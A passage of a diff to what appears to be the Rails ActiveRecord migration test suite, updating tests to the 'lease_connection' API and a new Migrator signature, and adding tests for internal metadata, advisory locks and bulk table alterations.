+    assert_not migration.went_down, "have not gone down"
 
     migration.migrate :up
     assert migration.went_up, "have gone up"
-    assert !migration.went_down, "have not gone down"
+    assert_not migration.went_down, "have not gone down"
   end
 
   def test_instance_based_migration_down
     migration = MockMigration.new
-    assert !migration.went_up, "have not gone up"
-    assert !migration.went_down, "have not gone down"
+    assert_not migration.went_up, "have not gone up"
+    assert_not migration.went_down, "have not gone down"
 
     migration.migrate :down
-    assert !migration.went_up, "have gone up"
+    assert_not migration.went_up, "have gone up"
     assert migration.went_down, "have not gone down"
   end
 
-  if ActiveRecord::Base.connection.supports_ddl_transactions?
+  if ActiveRecord::Base.lease_connection.supports_ddl_transactions?
     def test_migrator_one_up_with_exception_and_rollback
       assert_no_column Person, :last_name
 
@@ -278,7 +604,7 @@ def migrate(x)
         end
       }.new
 
-      migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
+      migrator = ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata, 100)
 
       e = assert_raise(StandardError) { migrator.migrate }
 
@@ -299,7 +625,7 @@ def migrate(x)
         end
       }.new
 
-      migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
+      migrator = ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata, 100)
 
       e = assert_raise(StandardError) { migrator.run }
 
@@ -322,7 +648,7 @@ def migrate(x)
         end
       }.new
 
-      migrator = ActiveRecord::Migrator.new(:up, [migration], 101)
+      migrator = ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata, 101)
       e = assert_raise(StandardError) { migrator.migrate }
       assert_equal "An error has occurred, all later migrations canceled:\n\nSomething broke", e.message
 
@@ -331,26 +657,26 @@ def migrate(x)
     ensure
       Person.reset_column_information
       if Person.column_names.include?("last_name")
-        Person.connection.remove_column("people", "last_name")
+        Person.lease_connection.remove_column("people", "last_name")
       end
     end
   end
 
   def test_schema_migrations_table_name
-    original_schema_migrations_table_name = ActiveRecord::Migrator.schema_migrations_table_name
+    original_schema_migrations_table_name = ActiveRecord::Base.schema_migrations_table_name
 
-    assert_equal "schema_migrations", ActiveRecord::Migrator.schema_migrations_table_name
+    assert_equal "schema_migrations", @schema_migration.table_name
     ActiveRecord::Base.table_name_prefix = "prefix_"
     ActiveRecord::Base.table_name_suffix = "_suffix"
     Reminder.reset_table_name
-    assert_equal "prefix_schema_migrations_suffix", ActiveRecord::Migrator.schema_migrations_table_name
+    assert_equal "prefix_schema_migrations_suffix", @schema_migration.table_name
     ActiveRecord::Base.schema_migrations_table_name = "changed"
     Reminder.reset_table_name
-    assert_equal "prefix_changed_suffix", ActiveRecord::Migrator.schema_migrations_table_name
+    assert_equal "prefix_changed_suffix", @schema_migration.table_name
     ActiveRecord::Base.table_name_prefix = ""
     ActiveRecord::Base.table_name_suffix = ""
     Reminder.reset_table_name
-    assert_equal "changed", ActiveRecord::Migrator.schema_migrations_table_name
+    assert_equal "changed", @schema_migration.table_name
   ensure
     ActiveRecord::Base.schema_migrations_table_name = original_schema_migrations_table_name
     Reminder.reset_table_name
@@ -359,91 +685,156 @@ def test_schema_migrations_table_name
   def test_internal_metadata_table_name
     original_internal_metadata_table_name = ActiveRecord::Base.internal_metadata_table_name
 
-    assert_equal "ar_internal_metadata", ActiveRecord::InternalMetadata.table_name
+    assert_equal "ar_internal_metadata", @internal_metadata.table_name
     ActiveRecord::Base.table_name_prefix = "p_"
     ActiveRecord::Base.table_name_suffix = "_s"
     Reminder.reset_table_name
-    assert_equal "p_ar_internal_metadata_s", ActiveRecord::InternalMetadata.table_name
+    assert_equal "p_ar_internal_metadata_s", @internal_metadata.table_name
     ActiveRecord::Base.internal_metadata_table_name = "changed"
     Reminder.reset_table_name
-    assert_equal "p_changed_s", ActiveRecord::InternalMetadata.table_name
+    assert_equal "p_changed_s", @internal_metadata.table_name
     ActiveRecord::Base.table_name_prefix = ""
     ActiveRecord::Base.table_name_suffix = ""
     Reminder.reset_table_name
-    assert_equal "changed", ActiveRecord::InternalMetadata.table_name
+    assert_equal "changed", @internal_metadata.table_name
   ensure
     ActiveRecord::Base.internal_metadata_table_name = original_internal_metadata_table_name
     Reminder.reset_table_name
   end
 
   def test_internal_metadata_stores_environment
-    current_env     = ActiveRecord::ConnectionHandling::DEFAULT_ENV.call
+    current_env     = env_name(@pool)
     migrations_path = MIGRATIONS_ROOT + "/valid"
-    old_path        = ActiveRecord::Migrator.migrations_paths
-    ActiveRecord::Migrator.migrations_paths = migrations_path
+    migrator = ActiveRecord::MigrationContext.new(migrations_path, @schema_migration, @internal_metadata)
 
-    ActiveRecord::Migrator.up(migrations_path)
-    assert_equal current_env, ActiveRecord::InternalMetadata[:environment]
+    migrator.up
+    assert_equal current_env, @internal_metadata[:environment]
+  end
 
-    original_rails_env  = ENV["RAILS_ENV"]
-    original_rack_env   = ENV["RACK_ENV"]
-    ENV["RAILS_ENV"]    = ENV["RACK_ENV"] = "foofoo"
-    new_env = ActiveRecord::ConnectionHandling::DEFAULT_ENV.call
+  def test_internal_metadata_stores_environment_when_migration_fails
+    @internal_metadata.delete_all_entries
+    current_env = env_name(@pool)
 
-    refute_equal current_env, new_env
+    migration = Class.new(ActiveRecord::Migration::Current) {
+      def version; 101 end
+      def migrate(x)
+        raise "Something broke"
+      end
+    }.new
 
-    sleep 1 # mysql by default does not store fractional seconds in the database
-    ActiveRecord::Migrator.up(migrations_path)
-    assert_equal new_env, ActiveRecord::InternalMetadata[:environment]
-  ensure
-    ActiveRecord::Migrator.migrations_paths = old_path
-    ENV["RAILS_ENV"] = original_rails_env
-    ENV["RACK_ENV"]  = original_rack_env
-    ActiveRecord::Migrator.up(migrations_path)
+    migrator = ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata, 101)
+    assert_raise(StandardError) { migrator.migrate }
+    assert_equal current_env, @internal_metadata[:environment]
   end
 
-  def test_migration_sets_internal_metadata_even_when_fully_migrated
-    current_env     = ActiveRecord::ConnectionHandling::DEFAULT_ENV.call
+  def test_internal_metadata_stores_environment_when_other_data_exists
+    @internal_metadata.delete_all_entries
+    @internal_metadata[:foo] = "bar"
+
+    current_env = env_name(@pool)
     migrations_path = MIGRATIONS_ROOT + "/valid"
-    old_path        = ActiveRecord::Migrator.migrations_paths
-    ActiveRecord::Migrator.migrations_paths = migrations_path
 
-    ActiveRecord::Migrator.up(migrations_path)
-    assert_equal current_env, ActiveRecord::InternalMetadata[:environment]
+    migrator = ActiveRecord::MigrationContext.new(migrations_path, @schema_migration, @internal_metadata)
+    migrator.up
+    assert_equal current_env, @internal_metadata[:environment]
+    assert_equal "bar", @internal_metadata[:foo]
+  end
 
-    original_rails_env  = ENV["RAILS_ENV"]
-    original_rack_env   = ENV["RACK_ENV"]
-    ENV["RAILS_ENV"]    = ENV["RACK_ENV"] = "foofoo"
-    new_env = ActiveRecord::ConnectionHandling::DEFAULT_ENV.call
+  def test_internal_metadata_not_used_when_not_enabled
+    @internal_metadata.drop_table
+    original_config = @pool.db_config.instance_variable_get(:@configuration_hash)
+    modified_config = original_config.dup.merge(use_metadata_table: false)
+    @pool.db_config.instance_variable_set(:@configuration_hash, modified_config)
 
-    refute_equal current_env, new_env
+    assert_not @internal_metadata.enabled?
+    assert_not @internal_metadata.table_exists?
 
-    sleep 1 # mysql by default does not store fractional seconds in the database
+    migrations_path = MIGRATIONS_ROOT + "/valid"
+    migrator = ActiveRecord::MigrationContext.new(migrations_path, @schema_migration, @internal_metadata)
+    migrator.up
 
-    ActiveRecord::Migrator.up(migrations_path)
-    assert_equal new_env, ActiveRecord::InternalMetadata[:environment]
+    assert_not @internal_metadata[:environment]
+    assert_not @internal_metadata.table_exists?
   ensure
-    ActiveRecord::Migrator.migrations_paths = old_path
-    ENV["RAILS_ENV"] = original_rails_env
-    ENV["RACK_ENV"]  = original_rack_env
-    ActiveRecord::Migrator.up(migrations_path)
+    @pool.db_config.instance_variable_set(:@configuration_hash, original_config)
+    @internal_metadata.create_table
   end
 
-  def test_internal_metadata_stores_environment_when_other_data_exists
-    ActiveRecord::InternalMetadata.delete_all
-    ActiveRecord::InternalMetadata[:foo] = "bar"
+  def test_inserting_a_new_entry_into_internal_metadata
+    @internal_metadata[:version] = "foo"
+    assert_equal "foo", @internal_metadata[:version]
+  ensure
+    @internal_metadata.delete_all_entries
+  end
 
-    current_env     = ActiveRecord::ConnectionHandling::DEFAULT_ENV.call
-    migrations_path = MIGRATIONS_ROOT + "/valid"
-    old_path        = ActiveRecord::Migrator.migrations_paths
-    ActiveRecord::Migrator.migrations_paths = migrations_path
+  def test_updating_an_existing_entry_into_internal_metadata
+    @internal_metadata[:version] = "foo"
+    updated_at = @internal_metadata.send(:select_entry, @pool.lease_connection, :version)["updated_at"]
+    assert_equal "foo", @internal_metadata[:version]
+
+    # same version doesn't update timestamps
+    @internal_metadata[:version] = "foo"
+    assert_equal "foo", @internal_metadata[:version]
+    assert_equal updated_at, @internal_metadata.send(:select_entry, @pool.lease_connection, :version)["updated_at"]
+
+    # updated version updates timestamps
+    @internal_metadata[:version] = "not_foo"
+    assert_equal "not_foo", @internal_metadata[:version]
+    assert_not_equal updated_at, @internal_metadata.send(:select_entry, @pool.lease_connection, :version)["updated_at"]
+  ensure
+    @internal_metadata.delete_all_entries
+  end
+
+  def test_internal_metadata_create_table_wont_be_affected_by_schema_cache
+    @internal_metadata.drop_table
+    assert_not_predicate @internal_metadata, :table_exists?
 
-    current_env = ActiveRecord::ConnectionHandling::DEFAULT_ENV.call
-    ActiveRecord::Migrator.up(migrations_path)
-    assert_equal current_env, ActiveRecord::InternalMetadata[:environment]
-    assert_equal "bar", ActiveRecord::InternalMetadata[:foo]
+    @pool.with_connection do |connection|
+      connection.transaction do
+        @internal_metadata.create_table
+        assert_predicate @internal_metadata, :table_exists?
+
+        @internal_metadata[:version] = "foo"
+        assert_equal "foo", @internal_metadata[:version]
+        raise ActiveRecord::Rollback
+      end
+
+      connection.transaction do
+        @internal_metadata.create_table
+        assert_predicate @internal_metadata, :table_exists?
+
+        @internal_metadata[:version] = "bar"
+        assert_equal "bar", @internal_metadata[:version]
+        raise ActiveRecord::Rollback
+      end
+    end
   ensure
-    ActiveRecord::Migrator.migrations_paths = old_path
+    @internal_metadata.create_table
+  end
+
+  def test_schema_migration_create_table_wont_be_affected_by_schema_cache
+    @schema_migration.drop_table
+    assert_not_predicate @schema_migration, :table_exists?
+
+    @pool.with_connection do |connection|
+      connection.transaction do
+        @schema_migration.create_table
+        assert_predicate @schema_migration, :table_exists?
+
+        assert_equal "foo", @schema_migration.create_version("foo")
+        raise ActiveRecord::Rollback
+      end
+
+      connection.transaction do
+        @schema_migration.create_table
+        assert_predicate @schema_migration, :table_exists?
+
+        assert_equal "bar", @schema_migration.create_version("bar")
+        raise ActiveRecord::Rollback
+      end
+    end
+  ensure
+    @schema_migration.create_table
   end
 
   def test_proper_table_name_on_migration
@@ -475,12 +866,13 @@ def test_proper_table_name_on_migration
   end
 
   def test_rename_table_with_prefix_and_suffix
-    assert !Thing.table_exists?
+    assert_not_predicate Thing, :table_exists?
     ActiveRecord::Base.table_name_prefix = "p_"
     ActiveRecord::Base.table_name_suffix = "_s"
     Thing.reset_table_name
     Thing.reset_sequence_name
     WeNeedThings.up
+    assert_predicate Thing, :table_exists?
     Thing.reset_column_information
 
     assert Thing.create("content" => "hello world")
@@ -496,13 +888,14 @@ def test_rename_table_with_prefix_and_suffix
   end
 
   def test_add_drop_table_with_prefix_and_suffix
-    assert !Reminder.table_exists?
+    assert_not_predicate Reminder, :table_exists?
     ActiveRecord::Base.table_name_prefix = "prefix_"
     ActiveRecord::Base.table_name_suffix = "_suffix"
     Reminder.reset_table_name
     Reminder.reset_sequence_name
-    Reminder.reset_column_information
     WeNeedReminders.up
+    assert_predicate Reminder, :table_exists?
+    Reminder.reset_column_information
     assert Reminder.create("content" => "hello world", "remind_at" => Time.now)
     assert_equal "hello world", Reminder.first.content
 
@@ -514,137 +907,134 @@ def test_add_drop_table_with_prefix_and_suffix
 
   def test_create_table_with_binary_column
     assert_nothing_raised {
-      Person.connection.create_table :binary_testings do |t|
+      Person.lease_connection.create_table :binary_testings do |t|
         t.column "data", :binary, null: false
       end
     }
 
-    columns = Person.connection.columns(:binary_testings)
+    columns = Person.lease_connection.columns(:binary_testings)
     data_column = columns.detect { |c| c.name == "data" }
 
     assert_nil data_column.default
   ensure
-    Person.connection.drop_table :binary_testings, if_exists: true
+    Person.lease_connection.drop_table :binary_testings, if_exists: true
   end
 
   unless mysql_enforcing_gtid_consistency?
     def test_create_table_with_query
-      Person.connection.create_table(:person, force: true)
-
-      Person.connection.create_table :table_from_query_testings, as: "SELECT id FROM person"
+      Person.lease_connection.create_table :table_from_query_testings, as: "SELECT id FROM people WHERE id = 1"
 
-      columns = Person.connection.columns(:table_from_query_testings)
+      columns = Person.lease_connection.columns(:table_from_query_testings)
+      assert_equal [1], Person.lease_connection.select_values("SELECT * FROM table_from_query_testings")
       assert_equal 1, columns.length
       assert_equal "id", columns.first.name
     ensure
-      Person.connection.drop_table :table_from_query_testings rescue nil
+      Person.lease_connection.drop_table :table_from_query_testings rescue nil
     end
 
     def test_create_table_with_query_from_relation
-      Person.connection.create_table(:person, force: true)
-
-      Person.connection.create_table :table_from_query_testings, as: Person.select(:id)
+      Person.lease_connection.create_table :table_from_query_testings, as: Person.select(:id).where(id: 1)
 
-      columns = Person.connection.columns(:table_from_query_testings)
+      columns = Person.lease_connection.columns(:table_from_query_testings)
+      assert_equal [1], Person.lease_connection.select_values("SELECT * FROM table_from_query_testings")
       assert_equal 1, columns.length
       assert_equal "id", columns.first.name
     ensure
-      Person.connection.drop_table :table_from_query_testings rescue nil
+      Person.lease_connection.drop_table :table_from_query_testings rescue nil
     end
   end
 
   if current_adapter?(:SQLite3Adapter)
     def test_allows_sqlite3_rollback_on_invalid_column_type
-      Person.connection.create_table :something, force: true do |t|
+      Person.lease_connection.create_table :something, force: true do |t|
         t.column :number, :integer
         t.column :name, :string
         t.column :foo, :bar
       end
-      assert Person.connection.column_exists?(:something, :foo)
-      assert_nothing_raised { Person.connection.remove_column :something, :foo, :bar }
-      assert !Person.connection.column_exists?(:something, :foo)
-      assert Person.connection.column_exists?(:something, :name)
-      assert Person.connection.column_exists?(:something, :number)
+      assert Person.lease_connection.column_exists?(:something, :foo)
+      assert_nothing_raised { Person.lease_connection.remove_column :something, :foo, :bar }
+      assert_not Person.lease_connection.column_exists?(:something, :foo)
+      assert Person.lease_connection.column_exists?(:something, :name)
+      assert Person.lease_connection.column_exists?(:something, :number)
     ensure
-      Person.connection.drop_table :something, if_exists: true
+      Person.lease_connection.drop_table :something, if_exists: true
     end
   end
 
-  if current_adapter? :OracleAdapter
-    def test_create_table_with_custom_sequence_name
-      # table name is 29 chars, the standard sequence name will
-      # be 33 chars and should be shortened
-      assert_nothing_raised do
-        begin
-          Person.connection.create_table :table_with_name_thats_just_ok do |t|
-            t.column :foo, :string, null: false
-          end
-        ensure
-          Person.connection.drop_table :table_with_name_thats_just_ok rescue nil
-        end
+  def test_decimal_scale_without_precision_should_raise
+    e = assert_raise(ArgumentError) do
+      Person.lease_connection.create_table :test_decimal_scales, force: true do |t|
+        t.decimal :scaleonly, scale: 10
       end
+    end
 
-      # should be all good w/ a custom sequence name
-      assert_nothing_raised do
-        begin
-          Person.connection.create_table :table_with_name_thats_just_ok,
-            sequence_name: "suitably_short_seq" do |t|
-            t.column :foo, :string, null: false
-          end
-
-          Person.connection.execute("select suitably_short_seq.nextval from dual")
+    assert_equal "Error adding decimal column: precision cannot be empty if scale is specified", e.message
+  ensure
+    Person.lease_connection.drop_table :test_decimal_scales, if_exists: true
+  end
 
-        ensure
-          Person.connection.drop_table :table_with_name_thats_just_ok,
-            sequence_name: "suitably_short_seq" rescue nil
+  if current_adapter?(:Mysql2Adapter, :TrilogyAdapter, :PostgreSQLAdapter)
+    def test_out_of_range_integer_limit_should_raise
+      e = assert_raise(ArgumentError) do
+        Person.lease_connection.create_table :test_integer_limits, force: true do |t|
+          t.column :bigone, :integer, limit: 10
         end
       end
 
-      # confirm the custom sequence got dropped
-      assert_raise(ActiveRecord::StatementInvalid) do
-        Person.connection.execute("select suitably_short_seq.nextval from dual")
+      assert_includes e.message, "No integer type has byte size 10"
+    ensure
+      Person.lease_connection.drop_table :test_integer_limits, if_exists: true
+    end
+
+    def test_out_of_range_text_limit_should_raise
+      e = assert_raise(ArgumentError) do
+        Person.lease_connection.create_table :test_text_limits, force: true do |t|
+          t.text :bigtext, limit: 0xfffffffff
+        end
       end
+
+      assert_includes e.message, "No text type has byte size #{0xfffffffff}"
+    ensure
+      Person.lease_connection.drop_table :test_text_limits, if_exists: true
     end
-  end
 
-  if current_adapter?(:Mysql2Adapter, :PostgreSQLAdapter)
-    def test_out_of_range_integer_limit_should_raise
-      e = assert_raise(ActiveRecord::ActiveRecordError, "integer limit didn't raise") do
-        Person.connection.create_table :test_integer_limits, force: true do |t|
-          t.column :bigone, :integer, limit: 10
+    def test_out_of_range_binary_limit_should_raise
+      e = assert_raise(ArgumentError) do
+        Person.lease_connection.create_table :test_binary_limits, force: true do |t|
+          t.binary :bigbinary, limit: 0xfffffffff
         end
       end
 
-      assert_match(/No integer type has byte size 10/, e.message)
+      assert_includes e.message, "No binary type has byte size #{0xfffffffff}"
     ensure
-      Person.connection.drop_table :test_integer_limits, if_exists: true
+      Person.lease_connection.drop_table :test_binary_limits, if_exists: true
     end
   end
 
-  if current_adapter?(:Mysql2Adapter)
-    def test_out_of_range_text_limit_should_raise
-      e = assert_raise(ActiveRecord::ActiveRecordError, "text limit didn't raise") do
-        Person.connection.create_table :test_text_limits, force: true do |t|
-          t.text :bigtext, limit: 0xfffffffff
+  if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+    def test_invalid_text_size_should_raise
+      e = assert_raise(ArgumentError) do
+        Person.lease_connection.create_table :test_text_sizes, force: true do |t|
+          t.text :bigtext, size: 0xfffffffff
         end
       end
 
-      assert_match(/No text type has byte length #{0xfffffffff}/, e.message)
+      assert_equal "#{0xfffffffff} is invalid :size value. Only :tiny, :medium, and :long are allowed.", e.message
     ensure
-      Person.connection.drop_table :test_text_limits, if_exists: true
+      Person.lease_connection.drop_table :test_text_sizes, if_exists: true
     end
   end
 
-  if ActiveRecord::Base.connection.supports_advisory_locks?
+  if ActiveRecord::Base.lease_connection.supports_advisory_locks?
     def test_migrator_generates_valid_lock_id
       migration = Class.new(ActiveRecord::Migration::Current).new
-      migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
+      migrator = ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata, 100)
 
       lock_id = migrator.send(:generate_migrator_advisory_lock_id)
 
-      assert ActiveRecord::Base.connection.get_advisory_lock(lock_id),
+      assert ActiveRecord::Base.lease_connection.get_advisory_lock(lock_id),
         "the Migrator should have generated a valid lock id, but it didn't"
-      assert ActiveRecord::Base.connection.release_advisory_lock(lock_id),
+      assert ActiveRecord::Base.lease_connection.release_advisory_lock(lock_id),
         "the Migrator should have generated a valid lock id, but it didn't"
     end
 
@@ -652,11 +1042,11 @@ def test_generate_migrator_advisory_lock_id
       # It is important we are consistent with how we generate this so that
       # exclusive locking works across migrator versions
       migration = Class.new(ActiveRecord::Migration::Current).new
-      migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
+      migrator = ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata, 100)
 
       lock_id = migrator.send(:generate_migrator_advisory_lock_id)
 
-      current_database = ActiveRecord::Base.connection.current_database
+      current_database = ActiveRecord::Base.lease_connection.current_database
       salt = ActiveRecord::Migrator::MIGRATOR_SALT
       expected_id = Zlib.crc32(current_database) * salt
 
@@ -674,7 +1064,7 @@ def migrate(x)
         end
       }.new
 
-      migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
+      migrator = ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata, 100)
       lock_id = migrator.send(:generate_migrator_advisory_lock_id)
 
       with_another_process_holding_lock(lock_id) do
@@ -695,7 +1085,7 @@ def migrate(x)
         end
       }.new
 
-      migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
+      migrator = ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata, 100)
       lock_id = migrator.send(:generate_migrator_advisory_lock_id)
 
       with_another_process_holding_lock(lock_id) do
@@ -705,6 +1095,50 @@ def migrate(x)
       assert_no_column Person, :last_name,
         "without an advisory lock, the Migrator should not make any changes, but it did."
     end
+
+    if current_adapter?(:PostgreSQLAdapter)
+      def test_with_advisory_lock_closes_connection
+        migration = Class.new(ActiveRecord::Migration::Current) {
+          def version; 100 end
+          def migrate(x)
+          end
+        }.new
+
+        migrator = ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata, 100)
+        lock_id = migrator.send(:generate_migrator_advisory_lock_id)
+
+        query = <<~SQL
+        SELECT query
+        FROM pg_stat_activity
+        WHERE datname = '#{ActiveRecord::Base.connection_db_config.database}'
+        AND state = 'idle'
+        AND query LIKE '%#{lock_id}%'
+        SQL
+
+        assert_no_changes -> { ActiveRecord::Base.lease_connection.exec_query(query).rows.flatten } do
+          migrator.migrate
+        end
+      end
+    end
+
+    def test_with_advisory_lock_raises_the_right_error_when_it_fails_to_release_lock
+      migration = Class.new(ActiveRecord::Migration::Current).new
+      migrator = ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata, 100)
+      lock_id = migrator.send(:generate_migrator_advisory_lock_id)
+
+      e = assert_raises(ActiveRecord::ConcurrentMigrationError) do
+        silence_stream($stderr) do
+          migrator.send(:with_advisory_lock) do
+            ActiveRecord::Base.lease_connection.release_advisory_lock(lock_id)
+          end
+        end
+      end
+
+      assert_match(
+        /#{ActiveRecord::ConcurrentMigrationError::RELEASE_LOCK_FAILED_MESSAGE}/,
+        e.message
+      )
+    end
   end
 
   private
@@ -717,20 +1151,24 @@ def self.base_class; self; end
       }
     end
 
+    def clear_statement_cache(model)
+      model.connection_handler.each_connection_pool do |pool|
+        pool.connections.each(&:clear_cache!)
+      end
+    end
+
     def with_another_process_holding_lock(lock_id)
       thread_lock = Concurrent::CountDownLatch.new
       test_terminated = Concurrent::CountDownLatch.new
 
       other_process = Thread.new do
-        begin
-          conn = ActiveRecord::Base.connection_pool.checkout
-          conn.get_advisory_lock(lock_id)
-          thread_lock.count_down
-          test_terminated.wait # hold the lock open until we tested everything
-        ensure
-          conn.release_advisory_lock(lock_id)
-          ActiveRecord::Base.connection_pool.checkin(conn)
-        end
+        conn = ActiveRecord::Base.connection_pool.checkout
+        conn.get_advisory_lock(lock_id)
+        thread_lock.count_down
+        test_terminated.wait # hold the lock open until we tested everything
+      ensure
+        conn.release_advisory_lock(lock_id)
+        ActiveRecord::Base.connection_pool.checkin(conn)
       end
 
       thread_lock.wait # wait until the 'other process' has the lock
@@ -740,18 +1178,22 @@ def with_another_process_holding_lock(lock_id)
       test_terminated.count_down
       other_process.join
     end
+
+    def env_name(pool)
+      pool.db_config.env_name
+    end
 end
 
 class ReservedWordsMigrationTest < ActiveRecord::TestCase
   def test_drop_index_from_table_named_values
-    connection = Person.connection
+    connection = Person.lease_connection
     connection.create_table :values, force: true do |t|
       t.integer :value
     end
 
     assert_nothing_raised do
       connection.add_index :values, :value
-      connection.remove_index :values, column: :value
+      connection.remove_index :values, :value
     end
   ensure
     connection.drop_table :values rescue nil
@@ -760,47 +1202,94 @@ def test_drop_index_from_table_named_values
 
 class ExplicitlyNamedIndexMigrationTest < ActiveRecord::TestCase
   def test_drop_index_by_name
-    connection = Person.connection
+    connection = Person.lease_connection
     connection.create_table :values, force: true do |t|
       t.integer :value
     end
 
     assert_nothing_raised do
       connection.add_index :values, :value, name: "a_different_name"
-      connection.remove_index :values, column: :value, name: "a_different_name"
+      connection.remove_index :values, :value, name: "a_different_name"
     end
   ensure
     connection.drop_table :values rescue nil
   end
 end
 
-if ActiveRecord::Base.connection.supports_bulk_alter?
+class IndexForTableWithSchemaMigrationTest < ActiveRecord::TestCase
+  if current_adapter?(:PostgreSQLAdapter)
+    def test_add_and_remove_index
+      connection = Person.lease_connection
+      connection.create_schema("my_schema")
+      connection.create_table("my_schema.values", force: true) do |t|
+        t.integer :value
+      end
+
+      connection.add_index("my_schema.values", :value)
+      assert connection.index_exists?("my_schema.values", :value)
+
+      connection.remove_index("my_schema.values", :value)
+      assert_not connection.index_exists?("my_schema.values", :value)
+    ensure
+      connection.drop_schema("my_schema")
+    end
+  end
+end
+
+if ActiveRecord::Base.lease_connection.supports_bulk_alter?
   class BulkAlterTableMigrationsTest < ActiveRecord::TestCase
     def setup
-      @connection = Person.connection
+      @connection = Person.lease_connection
       @connection.create_table(:delete_me, force: true) { |t| }
       Person.reset_column_information
       Person.reset_sequence_name
     end
 
     teardown do
-      Person.connection.drop_table(:delete_me) rescue nil
+      Person.lease_connection.drop_table(:delete_me) rescue nil
     end
 
     def test_adding_multiple_columns
-      assert_queries(1) do
+      classname = ActiveRecord::Base.lease_connection.class.name[/[^:]*$/]
+      expected_query_count = {
+        "Mysql2Adapter"     => 1,
+        "TrilogyAdapter"    => 1,
+        "PostgreSQLAdapter" => 2, # one for bulk change, one for comment
+      }.fetch(classname) {
+        raise "need an expected query count for #{classname}"
+      }
+
+      assert_queries_count(expected_query_count) do
         with_bulk_change_table do |t|
           t.column :name, :string
           t.string :qualification, :experience
           t.integer :age, default: 0
-          t.date :birthdate
+          t.date :birthdate, comment: "This is a comment"
           t.timestamps null: true
         end
       end
 
       assert_equal 8, columns.size
       [:name, :qualification, :experience].each { |s| assert_equal :string, column(s).type }
-      assert_equal "0", column(:age).default
+      assert_equal 0, column(:age).default
+      assert_equal "This is a comment", column(:birthdate).comment
+    end
+
+    def test_rename_columns
+      with_bulk_change_table do |t|
+        t.string :qualification
+      end
+
+      assert column(:qualification)
+
+      with_bulk_change_table do |t|
+        t.rename :qualification, :experience
+        t.string :qualification_experience
+      end
+
+      assert_not column(:qualification)
+      assert column(:experience)
+      assert column(:qualification_experience)
     end
 
     def test_removing_columns
@@ -810,17 +1299,53 @@ def test_removing_columns
 
       [:qualification, :experience].each { |c| assert column(c) }
 
-      assert_queries(1) do
+      assert_queries_count(1) do
         with_bulk_change_table do |t|
           t.remove :qualification, :experience
           t.string :qualification_experience
         end
       end
 
-      [:qualification, :experience].each { |c| assert ! column(c) }
+      [:qualification, :experience].each { |c| assert_not column(c) }
       assert column(:qualification_experience)
     end
 
+    def test_adding_timestamps
+      with_bulk_change_table do |t|
+        t.string :title
+      end
+
+      assert column(:title)
+
+      assert_queries_count(1) do
+        with_bulk_change_table do |t|
+          t.timestamps
+          t.remove :title
+        end
+      end
+
+      [:created_at, :updated_at].each { |c| assert column(c) }
+      assert_not column(:title)
+    end
+
+    def test_removing_timestamps
+      with_bulk_change_table do |t|
+        t.timestamps
+      end
+
+      [:created_at, :updated_at].each { |c| assert column(c) }
+
+      assert_queries_count(1) do
+        with_bulk_change_table do |t|
+          t.remove_timestamps
+          t.string :title
+        end
+      end
+
+      [:created_at, :updated_at].each { |c| assert_not column(c) }
+      assert column(:title)
+    end
+
     def test_adding_indexes
       with_bulk_change_table do |t|
         t.string :username
@@ -828,11 +1353,19 @@ def test_adding_indexes
         t.integer :age
       end
 
-      # Adding an index fires a query every time to check if an index already exists or not
-      assert_queries(3) do
+      classname = ActiveRecord::Base.lease_connection.class.name[/[^:]*$/]
+      expected_query_count = {
+        "Mysql2Adapter"     => 1, # mysql2 supports creating two indexes using one statement
+        "TrilogyAdapter"    => 1, # trilogy supports creating two indexes using one statement
+        "PostgreSQLAdapter" => 3,
+      }.fetch(classname) {
+        raise "need an expected query count for #{classname}"
+      }
+
+      assert_queries_count(expected_query_count) do
         with_bulk_change_table do |t|
           t.index :username, unique: true, name: :awesome_username_index
-          t.index [:name, :age]
+          t.index [:name, :age], comment: "This is a comment"
         end
       end
 
@@ -840,7 +1373,8 @@ def test_adding_indexes
 
       name_age_index = index(:index_delete_me_on_name_and_age)
       assert_equal ["name", "age"].sort, name_age_index.columns.sort
-      assert ! name_age_index.unique
+      assert_equal "This is a comment", name_age_index.comment
+      assert_not name_age_index.unique
 
       assert index(:awesome_username_index).unique
     end
@@ -853,14 +1387,23 @@ def test_removing_index
 
       assert index(:index_delete_me_on_name)
 
-      assert_queries(3) do
+      classname = ActiveRecord::Base.lease_connection.class.name[/[^:]*$/]
+      expected_query_count = {
+        "Mysql2Adapter"     => 1, # mysql2 supports dropping and creating two indexes using one statement
+        "TrilogyAdapter"    => 1, # trilogy supports dropping and creating two indexes using one statement
+        "PostgreSQLAdapter" => 2,
+      }.fetch(classname) {
+        raise "need an expected query count for #{classname}"
+      }
+
+      assert_queries_count(expected_query_count) do
         with_bulk_change_table do |t|
           t.remove_index :name
           t.index :name, name: :new_name_index, unique: true
         end
       end
 
-      assert ! index(:index_delete_me_on_name)
+      assert_not index(:index_delete_me_on_name)
 
       new_name_index = index(:new_name_index)
       assert new_name_index.unique
@@ -872,32 +1415,137 @@ def test_changing_columns
         t.date :birthdate
       end
 
-      assert ! column(:name).default
+      assert_not column(:name).default
+      assert_equal :date, column(:birthdate).type
+
+      classname = ActiveRecord::Base.lease_connection.class.name[/[^:]*$/]
+      expected_query_count = {
+        "Mysql2Adapter"     => 3, # one query for columns, one query for primary key, one query to do the bulk change
+        "TrilogyAdapter"    => 3, # one query for columns, one query for primary key, one query to do the bulk change
+        "PostgreSQLAdapter" => 3, # one query for columns, one for bulk change, one for comment
+      }.fetch(classname) {
+        raise "need an expected query count for #{classname}"
+      }
+
+      assert_queries_count(expected_query_count, include_schema: true) do
+        with_bulk_change_table do |t|
